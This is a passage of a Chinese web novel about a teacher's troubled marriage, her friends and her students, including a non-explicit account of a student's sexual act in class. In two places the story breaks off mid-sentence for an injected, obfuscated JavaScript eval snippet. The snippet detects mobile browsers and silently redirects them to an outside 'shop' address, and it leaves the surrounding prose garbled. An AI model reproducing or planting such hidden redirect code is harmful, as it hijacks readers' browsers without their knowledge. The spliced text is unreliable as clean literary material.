“所以呢?我应该赌一把?”他眼中有细微的希冀,一瞬即逝。 “我不知道,你问问你自己的心吧,我没办法替你做决定。”李知难答。 “我的心想赌。”李北辰诚实道。 “那你要还问我做什么?” “支持?”李北辰道,“我觉得没人会支持我。第一次,也是唯一一次支持过我的人,是您。” “我不会反对你,但也不会支持你。当年的事,不过是劝解罢了,主要是希望你能别钻牛角尖,好好学习。你现在是成年人了,你应该明白,别人给你建议,不过嘴一张一合,又不用负责任。可支持就麻烦多了,我不想担这个责任。”李知难推诿道。 李北辰听罢,低头看了看表。 李知难看他这个举动,适时道:“时候差不多了,那我就先走了。” 李北辰突然起身拉住了她:“李老师……” “你还有事?”李知难下意识撤回了自己的胳膊。 “没有了。”他那只悬空的手攥紧了拳。 “那我先走了。” 李北辰身体定在原地,只低声道:“您能不能……再跟我坐一会儿?就一会儿。” 李知难拒绝道:“我觉得再坐多久也改变不了什么,你自己的决定,你自己的人生,你自己想清楚吧。” “可我有些后悔了。”李北辰没头没脑地说。 李知难回道:“年轻人嘛,有后悔的事情总比没有强。我家里还有事,我真的得走了。” 她拎起包,不愿再多牵扯,转身走向大堂。 按照刚才来的路线,从大堂穿过去便是电梯间,几百米的距离。 这个时间大堂内人烟稀少,从对面走来一对情侣,年轻的女生挽着中年男人的胳膊,两个人似乎聊得很开心。 当李知难与二人擦肩而过时,那男人的面孔突然变了神色。 李知难面不改色地走向电梯间,恍若什么也没看到一般。 21. 婚姻是什么 本来想去接皮皮的李知难接到了奶奶的电话,皮皮早早睡下了,要她明天上午再去接,她看着自己Todolist上最后一件事也被划去,有些失魂地回了家。 那晚,宋乐没有回来。 次日清早,皮皮奶奶再次联系道:“皮皮早上被爸爸接走了。” 李知难知道皮皮周六下午有足球训练,一般要七八点钟和小伙伴们一起吃完晚饭后才会回来,就这样一天再次空闲了下来。 一直拧着劲儿的陀螺突然就没了上弦的力,她坐在沙发上发了一个多小时的呆,直到被手机铃声召唤回魂。 “你在干嘛?”曲子格问道。 李知难:“发呆。” “皮皮呢?” “他爸带走了。” “那你发什么呆啊?” “我……”李知难不知道如何解释,便将话锋一转问道:“你不是谈恋爱呢吗?找我干嘛?” “你要是没事,跟我去喝一杯吧?” “现在上午十一点。” “来吧。” 李知难在啤酒屋看到了桌上空了大半杯酒的曲子格。 “恋爱出问题了?”她下意识问道。 曲子格点头,又摇头。 “什么意思?” “恋爱有点过于顺利了。” “怎么说?” “吴思齐想跟我结婚。” “啥?”李知难更加意外,“你们俩不是才好吗?” “是,”曲子格道,“所以这事有两种可能。” “嗯?” “要不就是吴思齐对我一见钟情爱而不自拔,或者,他其实并不喜欢我,只是想找个结婚对象。”曲子格灌了口酒,“你觉得哪个更靠谱点?” 李知难:“你觉得呢?” 曲子格又灌了一大口酒。“好不容易的休息,不好意思啊,被我搅和了。” 李知难拿过她的酒杯,也灌了一口:“不是搅合,倒是要谢谢你。” “为什么?” “你打电话前,我一直在沙发上发呆,我发现我压根不知道自己如何应对突如其来的空闲时间。” “为什么?”曲子格愈发不解。 “我呢,习惯了周一到周五做李老师,周六周日做皮皮妈妈,每天都是计划好的内容,有的时候会累一些,有的时候会轻松一些,但是这样的身份让我知道自己应该做什么,想什么。今天我是谁?我是李知难,我不知道李知难应该做什么,想什么。”她道,“我还以为自己把自己规划得很好,其实不过是自欺欺人罢了。” “这么说有点严重了吧?” “你记得我生日那天吗?” 曲子格点头。 “我选择在那天穿自己喜欢的衣服,去自己喜欢的餐厅,做自己喜欢的事情,我那时候觉得,虽然工作生活上都有不如意,但是我将一切都把控得很好,没有任何我不能处理的事情,同时我也保留了我自己,我处在一个很满意的状态。”李知难道,“今天我才发现,这就是所谓的虚假满足,就像是照艺术照一样,化好妆换好衣服选好布景,再加上灯光后期,然后对着成片自欺欺人说,看这就是我。” 曲子格道:“你在今天之前,还一直觉得自己把一切都把控得很好?” 李知难点头。 曲子格:“今天我心情很差,所以我也不哄你了,李知难,你老公都出轨了,你把控什么了?你怎么好意思的?” 李知难突然笑了。 “好笑吗?”曲子格不悦。 李知难换了态度,问道:“你会嫁给吴思齐吗?” 曲子格答道:“我喜欢吴思齐,因为他长得帅。至于性格,我一直觉得自己是百搭的,我这种性格,跟谁都能处到一块儿去,你热我也热,咱俩热闹过日子,你冷那我热,我给你捂化了就行。我觉得只要我喜欢他,天底下没有我跨不过去的坎儿。” “但是就一样,我希望他也能喜欢我。”曲子格道,“开始不喜欢没事,慢慢地喜欢上我就行。我这个人优点还是很多的,相处久了他总能选一样喜欢上。” “你这么自信,那还犹豫什么,先婚后爱不是当下很流行的戏码吗?” “因为我知道,他的初衷就不是谈恋爱,他是想找人凑合。”曲子格道,“凑合谈恋爱,凑合上床,这些我都能凑合,可是结婚,我不想凑合。” “所以你不想嫁给他?” “我不知道。结婚对我来说,是一件很神圣的事情。”曲子格道,“我以为自己一直很期待男生跟我求婚,这是第一次有人和我求婚,可是我怎么这么别扭啊?” “你看,恋爱是件很简单的事情,任何离谱的理由都可以成为一段恋爱的起因。”李知难道,“可是婚姻不一样,婚姻恰恰相反,任何离谱的理由都可以成为一段婚姻的阻碍。” “要是这话是真的,你当初跟宋乐怎么成的?他身上全是阻碍。” 李知难道:“我嫁给他,因为他是好人。” “这话你说过八百遍了。” “不是因为爱情。”李知难第一次将这句话补充完整。 “你把自己当奖状吗?他是好人你给他送个锦旗包个红包就行了,一定要嫁给他吗?” 李知难回道:“也不一定非要是他,只是当时出现在我人生里的,恰好是他。” 曲子格拧着眉头不敢相信,问道:“所以当时如果是别人,你也照嫁不误?” “人好就行。” “不是,你图什么啊?” “方便啊。” 曲子格像是听到了天方夜谭,她脑子飞速运转,才找到最合理的解释:“我靠,不会皮皮不是他的吧?你是为了给孩子找爹?” 这是她能找到最合理的解释了。 李知难被她逗笑,回道:“你真当咱俩拍电影呢?” “那为什么啊?” “我不觉得爱情是必要的事,但是单身很不方便,结婚也挺好的,他刚好出现,一劳永逸,一起生活这么多年我也没后悔过。” “他出轨了。” “我知道。” “那还什么狗屁一劳永逸,什么挺好的,还不后悔?” 李知难摇头:“他以前问过我,就不怕他去外面找别的女人,我当时以为他开玩笑,现在觉得即使是真的,当时我的回答也没错,我不介意。” “你是被旧社会的女人魂穿了吗?”曲子格不敢相信这话是从自己最好的朋友嘴里说出来的。 李知难道:“我就知道告诉你你会接受不了。” 曲子格:“你脑子里装的这是什么糟粕?” 李知难答不上来。 曲子格:“我找你本来是跟你说糟心事,怎么现在我觉得更糟心了呢!” 李知难心下有些后悔。伪装了这么久,一直伪装下去也很好,何必便在这个时候不合时宜地跟她坦白内心。明知道她不会喜欢这样的自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456851|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李知难道:“我是想告诉你,如果爱情对你的婚姻很重要,你可以继续做自己,这么多年了,你一直是勇往直前的曲子格。但如果你累了,那你可以看看我,这种活法可能你不喜欢,但是也有人是这样活着的。” 曲子格没再说话,结了账自己先走了。 旁晚时分,还在准备会议纪要的孙书维破天荒地接到了曲子格的电话。“我认识知难的时候,她就已经结婚生子了,但是你比我认识的早,我就是想问问,她到底是为什么跟宋乐结婚。” “那你应该问她。”孙书维答。 “她告诉我了,说结婚是为了方便,而且宋乐出轨她也不介意,我听完一时没接受了。” 孙书维摘下了眼镜,回道:“曲子格,每个人都有自己的人生,自己的路,这一路的体验除了当事者以外,别人是不了解的,可是越是不了解的人,就越喜欢站在高地上对别人说三道四。谁的人生铺开来,都是平庸里面拌着花团锦簇和劣迹斑斑,你曲子格没多高尚,她李知难也没什么罪过,她的婚姻更用不着你来接受。” “你要是对我有意见,你明白说。”曲子格分外不喜欢她这样的态度,本来就堵着的心情被她三两句说得愈发上火。 “我觉得我一直都说得挺明白的。我就是觉得你很幼稚,”孙书维道,“非得按照你的想法活才算对才算有意义吗?你是谁啊?” “我谁也不是,但是如果人总要有个底线吧,如果所有人都觉得任何事情都可以无底线地肆意妄为,那这社会不乱套了?”曲子格气道。 “你不要偷换概念,这件事跟社会没有任何关系,她和宋乐之间的事,她们爱怎么着怎么着,左右也轮不到你来管吧?” “现在是我们的朋友被人出轨了,我们的朋友还死心塌地不介意,你能不能把你对我个人看法收起来,在乎一下李知难的情况?” “她是成年人,不需要我插手。”孙书维拒绝道。 “我真是不明白,你到底是不是她朋友?” 孙书维答:“你对朋友的定义,和你对婚姻感情的定义一样,都很幼稚很肤浅。” 曲子格气得直接挂掉了电话。 这种情况下,她想到了另外一个可以了解李知难过去的人。 李知难回到家时,皮皮正在看电视。 “爸爸呢?” “小屋开会。”皮皮答。 “吃饭了?” “披萨!” “看一会儿就去睡觉了。” “收到。”皮皮应道。 约莫十分钟左右,宋乐从小屋出来,穿戴整齐道:“我公司有个会。” 李知难头也没抬,“嗯。” 晚上哄皮皮睡觉时,皮皮没来由地问道:“妈妈,你要跟爸爸离婚了吗?” “谁跟你说的?”李知难突然坐直了身体。 “爸爸啊,他下午问我,要是你们离婚了我想跟谁。”皮皮说得漫不经心。 “你别听爸爸瞎说,他逗你玩呢。”可李知难此时心脏跳得飞快,纵然有和孩子坦白解释的想法,在这个当口也不知道如何开口,像是所有现实中的父母一样,选择了这样的谎话糊弄。 “妈妈什么是离婚?”皮皮不解问道。 “就是……爸爸妈妈分开住。” “哦,”皮皮道,“爸爸不是这么说的,爸爸说就是爸爸妈妈不再相爱了。” 李知难抚了抚他的头发,道:“睡吧,皮皮。” 22. 我没有上场的机会 周一例会,李知难,曲子格,孙书维,奚西,四个人各有各的心事,没结伴一起前往,亦没多交谈。会议一结束,众多老师鱼贯而出,大家各自向着自己的方向离开。 回到办公室,恰好遇到等在一旁的张蔷。 “小张警官。”李知难问候道。 张蔷挥了挥手:“李老师好。” “今天怎么过来了?” “宣讲会,”张蔷道,“五月伊始,正是给咱们小朋友们洗涤心灵的好时候。” 李知难点了点头,道:“刚才去开会了,宣讲会几点开始?” “上午大课间,我过来拿打印的材料。”张蔷道,“顺便您打声招呼,上次出警的事李北辰和我解释过了,是场误会。” 李知难装作无意道:“说起那个事,我还想问一下呢,那天是谁报的警?李北辰吗?” 张蔷有些意外:“您还不了解他吗?” 李知难尴尬回道:“我也很多年没见过他了,只是以前的学生,不是很了解。” 张蔷回道:“他和纪修关系那么铁,您是纪修的姐姐,我还以为您也算是他的姐姐呢。” “纪修是纪修,他是他。”李知难解释道,“我和他并不熟。” “李老师,是我记错了还是您忘了,我怎么记着当年他为了您把一个男生都给打骨折了?”张蔷回忆道,“我记错了?” 李知难没有应声。 张蔷似乎意识到,那段过去李知难并不想提及,只道:“哦,反正不是他,是一个学生报的警。” “谁?”李知难即刻追问道。 “李老师,什么意思?您不是要秋后算账吧?”张蔷见她反应这么大,也警惕起来。 “不是,就是了解一下。”她回答得含糊。 张蔷道:“我之前跟孩子们交代过,希望她们遇到事情能够主动找警方帮助,她们这次能够这么做,其实是非常正确的,所以我觉得我还是别把名字给您了,毕竟,孩子也没做错什么。” 李知难点了点头:“好。” 张蔷又问道:“对了,学校那个音乐剧搞得怎么样了?” “挺好的。” “那李北辰今天在吗?” “我也不太清楚。” “行吧,”张蔷道:“那我就先过去准备了。李老师再见。” 午饭时,李知难左右犹豫着要不要去找曲子格,但看了看下午连着三节课的课表,最终还是选择自己去吃食堂。 “奚西?”正巧角落处奚西也是一个人,她端着餐盘走了过去,问道:“音响的事情怎么样了?” 奚西仍是眉头不展:“陈亦童说最晚明天联系我,所以我现在也不知道自己这条小命到底何去何从。” “别担心,会有办法的。”她宽慰道。 “李老师,有个事不知道该不该跟您说。”奚西犹豫道。 “怎么了?” “关于你们班穆婷婷,她最近排练的状态不太好……”奚西道,“我找她聊过,但是她和我还是有所保留,要是您方便的话,可以帮我跟她谈谈吗?” “她排练不顺利吗?” “是这样的,我们音乐剧为了保险,选了B角,就是替补的男女主角,男主角那边接受得挺好的,但是穆婷婷自从这事之后,就有点状态不太对了。”奚西解释道,“可能有点心理负担。” “好,我下午问问她。”李知难应了下来。 等到她得空,已经快到放学时分,李知难叫住原本要去排练的穆婷婷,带她来办公室,端了杯水,拉了把椅子。 穆婷婷满脸紧张。 “穆婷婷,最近怎么样啊?”李知难开场问道。 穆婷婷凑上前,回道:“李老师,您有话就直接说吧,这样我有点害怕。” “我就是找你谈谈心,你害怕什么?” 穆婷婷脸上的表情写着,她压根不信。 李知难清了清嗓子,道:“真的。” “李老师您知道吗,咱们班有一个说法。”穆婷婷道,“要是被您拉来办公室,站着挨呲儿,那就是小错误小问题,说两句就能解决,要是您给安排了座位,那问题就严重了,而您要是不光给座位还给端水,基本上就等于大难临头了。所以,李老师您给我个痛快吧。” 李知难头一次听说,原来自己被小人精们琢磨得透透的。 “你别想那么多,你最近学习有没有什么压力?”李知难问。 “我的成绩,不是一直都那样嘛……” “现在高二,还有时间,别说这种丧气话。” “我本来就不擅长学习。” “对,你擅长唱歌表演,那音乐剧怎么样?” “挺好的。”她敷衍回道。 “我听说你新加了替补的B角?”李知难总算是绕到了靶心。 “是。”穆婷婷的小脸立刻拉了下来。 “谁替补的你啊?” “五班的赵灵。”她答。 “听说过,好像唱歌也挺不错的。”李知难随意道。 “嗯。”她轻哼,显然嘴里认同,心里并不认同。 “怎么,有了替补就没自信了?” 穆婷婷反驳道:“我还是女主角,只不过是万一我不能上场,她才会有机会。” “你这不是挺清楚的吗?那怎么看起来不像是嘴上说的这么轻松?”李知难故意和她唱反调。 “我觉得,她在旁边看着我,不吉利。”穆婷婷有些任性地回答。 “那你考虑过她吗?”李知难问道,“她每天练习和你一样的事情,花费一样的时间,但是最后很可能都是徒劳无功。” “我又没……可本来选的就是我,又不是我让她这样的。”穆婷婷从没考虑过赵灵的角度,被李知难这样一说,不知怎的,对赵灵的遭遇又莫名有些愧疚。 “这就是现实。现实里,谁都有谁的无奈,我们每个人都只尽人事,听天命。”李知难道,“我要是你,我就加倍努力,不给别人任何侥幸的机会。” 穆婷婷点了点头:“李老师,明天排练,您能来吗?” “为什么?” “苗苗她们都说我比赵灵唱得好,但是她们是我的朋友,”穆婷婷道,“您是我见过最……” 她想说,最冷血的人,但是求人的时候似乎不应该用这种词汇。 李知难自然听得出,只道:“放心吧,我一定给你一个公平的评价。” 周二排练时,李知难特地去看了。 穆婷婷像是突然来了主心骨,状态也好了很多。 李北辰不知何时来到李知难身边,李知难下意识问:“你觉得主演和替补,哪一个更可怜?” “可怜?” “对,一个站在台上,却战战兢兢,生怕出一点意外,就失去到手的一切。一个在台后,虎视眈眈,要靠别人的不幸才能获得机会,这两个身份,哪个更可怜?”李知难有些感慨。 “我没有当过主演,也没有当过替补。”李北辰诚实答。 “所以呢?” “所以,我认为无论哪个身份,都很幸福,因为他们都离舞台那么近,我只是个观众,舞台是我不敢奢望的。”李北辰话里有话地回答道。 李知难还没来得及细想他到底是有何所指,外面突然传来男学生着急的声音,打断了礼堂里正在进行的排练:“李老师,李老师在这吗?” 李知难站起来向外看,是邵冲。 “老师,秦梓轩晕倒了!”邵冲喊道,“您快过去看看吧!” “怎么回事?”李知难听罢急忙冲了出去,边跑边问。 “不知道,突然就晕过去了,满脸是血。”邵冲回答。 操场上,看热闹的学生已经围了一小圈,校医和李知难几乎是同时到的,曲子格安排邵冲去通知她,自己去联系了校医。 “曲老师呢?”李知难看着校医身后没人,训问道。 “在校门口等救护车。”校医回。 “我学生怎么样?”李知难问。 校医简单查看后,一边紧急止血一边回道:“脑袋破了,得到医院检查之后才能知道具体什么情况。” 周围的学生越聚越多,李知难起身喊道:“行了都别围着了,该干嘛干嘛去。” 学生们虽然好奇,但也只得散开,唯独廖蒙在一旁不肯走,哭得泣不成声地站在原地。 李知难还没来得及再喊,只听曲子格急忙跑过来,道:“救护车来了,走。” 急救人员将秦梓轩放到担架抬上车,片刻的功夫周围又聚了一小圈人,李知难也顾不上再维持纪律,回头看到奚西和李北辰连同礼堂的学生也跟了过来,便交代道:“奚西,告诉孙老师一声,李北辰,帮忙让学生们都回去。” 二人点头,李知难跟着一起上了急救车。 “我也去。”曲子格道。 “一个人去就行。”急救人员道。 李知难:“你联系一下秦梓轩家属,我一会儿把他妈妈联系方式给你,发短信,别打电话。” 门才要关,廖蒙突然冲了上来:“老师,求你了,也让我去吧。” 李知难还没来得及开口。 廖蒙态度坚定道:“我是他女朋友。” “别捣乱,坐不了那么多人。”急救人员推开了廖蒙的手,迅速地关上了门。一阵鸣笛开路,救护车渐渐驶出校园。 李知难不知道自己在急救室坐了多久,才总算等来了一位大夫和她解释情况:“没什么大问题,就是低血糖了。只是摔倒的时候磕到了脑袋,缝了五针,现在需要留院观察看一下脑振荡情况。家属来了吗?” “还在路上。他现在怎么样?” “人睡着了,有些虚弱,叫家属过来吧,得做些检查。” “是要缴费吗?我是他班主任,我可以替他缴。” 医生喊了旁边的护士,和李知难具体交代了流程。 “麻烦问您一下,他是下午打球的时候晕的,低血糖不应该是不吃早饭导致的吗?” “你看他体内酮含量,超得很多,是不是今天没怎么吃饭啊?”护士问道,“具体的等医生做完检查之后再说吧。” “好。” 李知难看着病床上躺着的男孩,看了看手中的单据,决定还是先去缴费再说。 她来到一楼交费处,处理好手续,就看到对面冲过来的几个无头苍蝇,廖蒙和穆婷婷,以及他们身侧的李北辰。 “谁让你们来的?”李知难不免心中冒火。 此时,曲子格陪着一个瘦瘦小小的中年女人也走了过来,那女人一见李知难突然冲过来,扑到了她身上。 李知难安慰道:“秦梓轩没事,您不用担心。” 女人比划着,又掏出手机给李知难看,李知难一遍遍重复回道:“孩子没事,没事。” 廖蒙突然上前,拉住了女人,同她用手语交谈,这才让她渐渐平复下来。 穆婷婷僵愣在一旁看着这画面。 李知难看了看眼前这几个人,推了推曲子格,道:“你帮我送穆婷婷和廖蒙回家吧。” 廖蒙:“老师我不走,秦阿姨认识我,我要在这里陪她。” 秦妈妈焦急地比划着,在询问秦梓轩的下落,李知难将位置告知,看着廖蒙搀扶着秦妈妈去了电梯间。 一旁穆婷婷原本茫然的表情渐渐变得委屈,她拧着衣角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456852|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了眼李知难,又看了眼廖蒙和秦妈妈的背影,最终低下头,像是承认了自己的多余。 “婷婷,医院人多又很乱,秦梓轩已经没事了,你先和曲老师回去,好吗?”李知难总觉得见她这般心里不是滋味。 “好。”穆婷婷顺从地点头。 李知难又看了看一旁的李北辰,本欲责备的话最终还是没开口。她跟上前面二人的脚步,回到秦梓轩的病床前。 秦梓轩仍然在昏睡着,头上包着纱布,手上吊着水,秦妈妈拉着儿子的手,无声地哭泣。 李知难将手上的单子放到了病床边,解释了刚才医生说的情况。 “您知道他为什么会低血糖吗?”李知难问秦妈妈。 一旁的廖蒙替她回答道:“李老师,秦梓轩不想让他妈妈知道这件事。” 李知难:“什么事?” “他不想要穆婷婷家的赞助了,所以一直在偷偷打工攒钱。可能为了省钱吧,他这个月没有订午饭,也许就是这个原因导致低血糖了。”廖蒙回答道。 “……”李知难一时间不知道该说什么。 手机突然响了起来,是孙书维打电话询问情况,她简单解释后,挂掉了电话,也惹来了一旁小护士的不满。 廖蒙看了看床头的单据,道:“李老师,我和秦阿姨在这里陪他,您放心吧,你还是先回去吧。” “廖蒙,你和秦梓轩妈妈很熟吗?” “嗯。”廖蒙点头。 “在博物馆,还有礼堂小办公室,和秦梓轩……那个女孩是你?”李知难回想着之前的事情,问道。 “对。”她一点也没否认,“是我。” 眼下似乎也不是纠正学生早恋的好时候,何况秦梓轩妈妈还在一边似懂非懂地看着二人。 李知难简单地交接了情况,心情颇为复杂地离开了医院。 李北辰正在出口处对面等待。 “李老师,把衣服换下来吧。”他上前,将自己的外套递了过来。李知难这才发现,着急之下,秦梓轩的血染了她的薄外套,看起来有些不雅观。 李知难听话地脱下了外套,换上了他的衣服。“谢谢。” “没事,我送您,您回学校还是回家?” 李知难:“不麻烦你了,我……” 李北辰道:“当年您也帮过我。” 李北辰想到的,是那年张蔷脑袋流血,他将人抱到医务室,校服上染了血,李知难从办公室找了件旧衣服,帮他换了。 李知难的思绪则联想到张蔷上午的话,复杂的情绪将她原本想拒绝的话压了下去,跟着他去了停车场。 “送我回学校吧,我东西还在学校。”李知难道。 李北辰的钥匙摁了摁,不远处一辆保时捷闪了闪灯。 “这也是吴总的车?” 李北辰点了点头。 李知难有些意外他竟然还不长记性:“你怎么还开他的车?” 李北辰故意玩笑道:“我要是说吴总送我的,您信吗?” 李知难想到了那日听到的对话,便道:“李北辰,上次撞车的事是你帮我们出的钱,是吗?” 李北辰:“您听谁说的?” “二十万?” 李北辰被这数字的精确性堵住了嘴,只模糊地回:“您误会了,事情不是那样的。” 李知难道:“就算是,我现在也还不起,这份情也得先欠着你。但是我也不想装作不知道的糊弄过去,这件事我还没想好怎么解决,等以后我想好了,或者你有什么想法,咱们再谈吧。” “好,听您的。” “但是今天这事你做得很不对,你领两个女学生来医院干什么?”李知难找他算起了帐。 “我看您自己一个人过来,可能需要帮忙,而且,我觉得她们也想知道秦梓轩的情况。” “她们是谁啊,她们想知道就得知道?”李知难有些生气。 李北辰轻声道:“李老师,您不能因为她们是高中生,就忽略她们的感情。” “她们是未成年,你带她们过来,问过她们家长的意愿吗?如果出了事,你能负责吗?”李知难拿出了老师的标准化态度,俨然像是另一个孙书维。 “是我考虑的不周全,对不起。”李北辰应道,但是如同每一个没有真心认错的学生,他忍不住补充:“只是医院也不是危险的地方,我想应该不会有什么意外。” “意外随时都可能发生,一旦发生,你什么身份?怎么负这个责?” “您是担心我?”李北辰侧过头,温声问道。 “你一个成年人,这点基本的常识都没有,我担心得着你么!”她没好气地回道。 “李老师,我知道您最近情绪不好,但是今天无论是穆婷婷还是秦梓轩,您都处理得很好。”李北辰非但没有气她的指责,反倒莫名其妙地赞扬了她。 李知难听得有些别扭。或者说,这样的称赞在她的世界太稀少了。 当下她不过做了一件再简单不过的事情,甚至多年的条件反射已经让她忘却在这种时刻下,自己应当有什么情绪。她如同一个熟门熟路的麻烦处理机,问题来了,解决问题,问题走了,迎接下一个问题。可他不知道哪来的身份,一个做错事情的人,一个没有经验的新手,一个不相干的外人,却对她莫名其妙地说,你处理得很好。 李知难害怕自己被这几个字触动情绪,故意挑着他话里的刺:“我……情绪怎么了?” “我听说了您家里最近发生的事情。”李北辰平淡地回道。 李知难无意识反问:“我家里什么事?” “出轨的事。”他一点余地也没留,直白地将真相放到了她面前。 23. 两个故事 李知难脑袋“轰”的一下。 “你靠边停一下车。”她已经顾不上体面,连装都装不出来了。毕竟家丑扬到这个程度,她全然不知如何再和身侧的人相处。 “李……” “停一下车。”李知难的语气轻轻柔柔。没有气急败坏,没有恼羞成怒,仿佛是刚跑完马拉松,在最后一丝力气用完之前,交代最后一件事情。 李北辰听话地将车停在了马路边。 她想下车,却被李北辰拉住了手。 李知难将自己的手收回,什么都没再说,只是下意识用手抹了下方才被他碰触到的地方,像是要掸走被他碰触过的痕迹。 李北辰的眼神顿时暗淡了下来,低声道:“李老师,我理解您现在不想见到我,但是您可以听我说完再走吗?” “这件事你是怎么知道的?”李知难轻声问。 李北辰坦诚回答:“您的……他和我们公司在业务上有些往来……” 李知难冷笑一声,问道:“你早就认识他了?” “嗯。”李北辰的态度如同当年被她训斥时一般。 “等一下,”李知难突然想到,又问:“那天在咖啡厅,你拦着我不让我走,也是因为你知道他们俩在那里?” 李北辰愣了下,轻点了头。 “那我倒是要谢谢你,维护我的体面了。”李知难言语中带着讽刺。 她甚至有些怪他。既然当初选择了不说,那干嘛不从一而终地坚持下去,现在是在干什么?在她因为他一声不足为道的称赞中洋洋得意时,选择用最伤人的方式把真相说出来。 “曲老师找过我。”李北辰突然开口道。 “曲子格?她找你干嘛?” “曲老师来问我,您之前是什么样的人。”李北辰说道,“我也不知道曲老师为什么会想到我,我也不知道我为什么要在现在说这件事,可我觉得我应该这么做。” 或者说,他觉得自己只能这样做了。 “你和她说什么了?”李知难问。 “我给她讲了两个故事。”李北辰回道。 李知难很漂亮,这是所有人的共识,当她穿着漂亮裙子踩着高跟鞋出现在校园时,自然会成为孩子们口中喜闻乐道的话题。但她并不介意这些,作为话题的中心,是从发育开始就围绕在她身边躲不掉的常态。但她认为学生和其他人不同,因为师生之间有一个心照不宣的底线。老师这个名词,决定了前面的形容词无论是什么,都会弱化其中轻薄的含义,学生可以喜欢她,可以讨厌她,可以起八百个外号私下叫她,但她的身份给予了她另一种如同父母式的位置,因而她的漂亮也不会削弱学生们对她的尊重。 直到她班里一个向来木讷老实的男生,在她的课堂上自,慰。那学生的精,液透过化纤材料的蓝色校服黏在一起,像是一团恶心的痰。 在那一瞬间,李知难甚至有些不敢相信自己的眼睛。 学校的态度是低调处理,尽量将伤害和影响降到最低。伤害指的是对学校的伤害,影响指的是对社会的影响,她李知难个人的感受在这一刻无足轻重。 “你是老师,他是学生,这件事他虽然有错,但是他毕竟是个孩子,你是他的老师。”学校领导给她的理由也敷衍得可怜,只是将表示二人的身份名词再重复一遍,就成了答案。 消息很快传得全校皆知,听到消息的李北辰只感觉血液一股脑地涌上来,向来待人友善的他如同黑面煞星一般冲到了男生的教室,薅着脖领将他一整个举了起来,失控地一拳一拳锤了下去。 他不知道那天是怎么结束的,他身上的血,周围的呼喊,奄奄一息的男生,狂鸣的警笛,一切都乱作一团,让他回神的,是眼前手足无措的李知难。 她看着病房内手被纱布裹住的李北辰,没来由地上前抱住了他。 李知难抱着他,眼泪顺着脸庞滴落在他的肩膀。少年感觉到自己怀里柔软而温暖的身体因为哭泣而颤抖着,他想去碰触,却不敢伸出手。 良久,李知难终于深吸了一口气,松开了手,她咬着嘴唇用拇指抹掉了眼泪。 李北辰抬头看她,仿佛亲眼看着一个柔弱的女人将自己武装成强大的战士。 “别怕,李北辰,有我呢。”她坚定地对他说。 曲子格甚至可以想象到李知难的表情,因为这是现在的她在为学生奔走时,脸上最常出现的模样。 她叹道:“她骨子里就是这种硬到不行的人,死心眼,什么都不知道害怕。” 李北辰眼神中带着酸楚,答:“可是现实总是会给人当头一棒。” “嗯?” 李北辰垂眸,低声道:“逞一时之勇是最简单的,但是对于需要收拾烂摊子的人,真正的麻烦还在后面。我打了他,腿骨和颅骨骨折,对方可以追究刑事责任。” 曲子格瞪大了眼睛,不敢相信眼前这个文质彬彬的男人,甚至几年前只是孩子的他,能将人打到这种程度。作为体育生,她深谙各种肢体械斗的逻辑,逞勇斗狠不过是图一时痛快,人都是有理智的,因此斗殴的严重程度基本是见血则止,可颅骨骨折,这完全是失去理智后下了死手的结果。 眼前这个人,竟然有这样的一面? 她不觉脖颈有些发凉。 李北辰并没有注意到她的情绪,继续说道:“她为了不让我进少管所,不让我被开除,甚至给那个男生家长跪下了。她跪下求他们,放过我。” 那日,李知难跪在地上,对着男生家长央求:“北辰年纪还小,求您二位再给他一次机会吧。”李北辰永远忘不了自己躲在办公室门外,看着屋内李知难下跪的场景,那段记忆像是烙痕一般,在他心上生了根。 李北辰轻声道:“是不是很可笑?她是唯一的受害者,却为了一个施暴者,向另一个施暴者求情。” 曲子格久久说不出话来。 “从那件事之后,我再也没见过李老师穿裙子。”李北辰道,“如果说现在的李老师和当年的李老师最明显的区别,那年,她是这个世界上最漂亮的人,她也从不遮掩毫不避讳这件事。而现在,我没有见过她在学校里穿裙子了,甚至没见过她穿任何鲜艳的颜色。” 曲子格听着,只觉得眼睛酸胀,她好想回到过去的那个时刻,去拥抱那个独自担下了一切的女孩。告诉她,纵然她认为自己有了等同学生父母一般的责任,可她到底不过是个二十出头的小姑娘,她不需要那么勇敢,也不用那么坚强。 第二件事,是李知难事业上最大的一次危机。 二十八岁的李知难第一次做班主任,那时候奉行严师出高徒的古典教育风格,和蔼可亲和学生打成一片的李知难在教评中以罕见的接近满分的成绩成为当年优秀教师评选的热门人物。 “但是在最后环节遭到了自己班学生的举报,说她学历造假。”李北辰道。 曲子格想了想,猜测道:“因为高考移民的事?” 李北辰有些意外:“您也知道?” “知难的北大是高考移民考上的,这件事她和我说过。”曲子格回答。 说起来,曲子格和李知难能够成为好友,这件事也算是个契机。当年在所有人提起她,都要冠以“北大高材生”的头衔时,李知难随随便便地就告诉了她实话。 “我从小在北京读书,因为户口不是北京的,高考要回原籍,我那时候觉得不公平,也不认为自己有什么错误。”李知难诚实道,“但社会有社会的规则,我确实动用了关系,这件事是不合规的。” 然后又道:“你可得帮我保守秘密,你要是说出去了,我工作就没了。” “那你为什么要告诉我这个?”曲子格楞在原地半天没敢动,她刚得到这份难得的工作,才和眼前的女同事认识不到一个月,她就这样毫无保留地把自己的命脉放到了她手上。 